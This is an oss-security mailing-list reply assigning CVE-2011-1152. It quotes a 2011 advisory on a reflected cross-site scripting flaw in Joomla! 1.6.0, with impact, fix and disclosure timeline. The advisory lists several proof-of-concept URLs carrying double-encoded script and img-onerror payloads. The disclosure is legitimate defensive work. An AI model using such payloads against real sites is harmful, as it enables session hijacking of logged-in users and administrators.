Date: Mon, 14 Mar 2011 16:51:54 -0400 (EDT) From: Josh Bressers <bressers@...hat.com> To: oss-security@...ts.openwall.com Cc: coley <coley@...re.org> Subject: Re: CVE Request: Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability Please use CVE-2011-1152 Did the original report for 1.5.20 get a CVE id? (I couldn't find one) Thanks. -- JB ----- Original Message ----- > ========================================== > Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability > ========================================== > > > 1. OVERVIEW > > Joomla! 1.6.0 was vulnerable to Cross Site Scripting. > > > 2. PRODUCT DESCRIPTION > > Joomla is a free and open source content management system (CMS) for > publishing content on the World Wide Web and intranets. It comprises a > model–view–controller (MVC) Web application framework that can also be > used independently. > Joomla is written in PHP, uses object-oriented programming (OOP) > techniques and software design patterns, stores data in a MySQL > database, and includes features such as page caching, RSS feeds, > printable versions of pages, news flashes, blogs, polls, search, and > support for language internationalization. > > > 3. VULNERABILITY DESCRIPTION > > The Query String parameter was not properly sanitized upon submission > to the /index.php url, which allows attacker to conduct Cross Site > Scripting attack. This may allow an attacker to create a specially > crafted URL that would execute arbitrary script code in a victim's > browser. > > > 4. VERSION AFFECTED > > Joomla! 1.6.0 > > > 5. PROOF-OF-CONCEPT/EXPLOIT > > >>> SEO-enabled Joomla 1.6.0 > > http://attacker.in/joomla160/index.php/%2522%253E%253Cimg%2520src%253Da%2520onerror%253Dalert(String.fromCharCode(88,83,83))%253E09739572178%252F > > http://attacker.in/joomla160/index.php/using-joomla/extensions/components/search-component/search/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E > > http://attacker.in/joomla160/index.php/contact-us/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E > > http://attacker.in/joomla160/index.php/park-links?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1 > > http://attacker.in/joomla160/index.php/using-joomla/extensions/templates?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1 > > > >>> SEO-disabled Joomla 1.6.0 > > http://attacker.in/joomla160x/index.php?option=com_weblinks&view=category&id=18&Itemid=227&a86a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9666d64388c=1 > > http://attacker.in/joomla160x/index.php?option=com_content&view=category&layout=blog&id=21&Itemid=268&%2522%253e%253cscript%253ealert%280%29%253c/script%253e=XSS > > > This is the exactly same variant as shown in our last year demo video > in 1.5.20: > > http://yehg.net/lab/pr0js/training/view/misc/joomla-1.5.20_encoded-xss/ > > We thought Joomla! team would fix this issue in 1.6.0 stable release > whilst they fixed it in Joomla! 1.5.21! > > > 6. IMPACT > > Attackers can compromise currently logged-in user/administrator > session and impersonate arbitrary user actions available under > /administrator/ functions. > > > 7. SOLUTION > > Upgrade to Joomla! 1.6.1 or higher > > > 8. VENDOR > > Joomla! Developer Team > http://www.joomla.org > > > 9. CREDIT > > This vulnerability was discovered by Aung Khant, http://yehg.net, YGN > Ethical Hacker Group, Myanmar. > > > 10. DISCLOSURE TIME-LINE > > 2011-01-24: notified vendor > 2011-03-08: vendor released fix > 2011-03-14: vulnerability disclosed > > > 11. REFERENCES > > Original Advisory URL: > http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_cross_site_scripting(XSS) > Former Advisory URL: > http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5.20]_cross_site_scripting(XSS) > XSS FAQ: http://www.cgisecurity.com/xss-faq.html > OWASP Top 10: > http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project > CWE-79: http://cwe.mitre.org/data/definitions/79.html > > > #yehg [2011-03-14] > > > > > --------------------------------- > Best regards, > YGN Ethical Hacker Group > Yangon, Myanmar > http://yehg.net > Our Lab | http://yehg.net/lab > Our Directory | http://yehg.net/hwd
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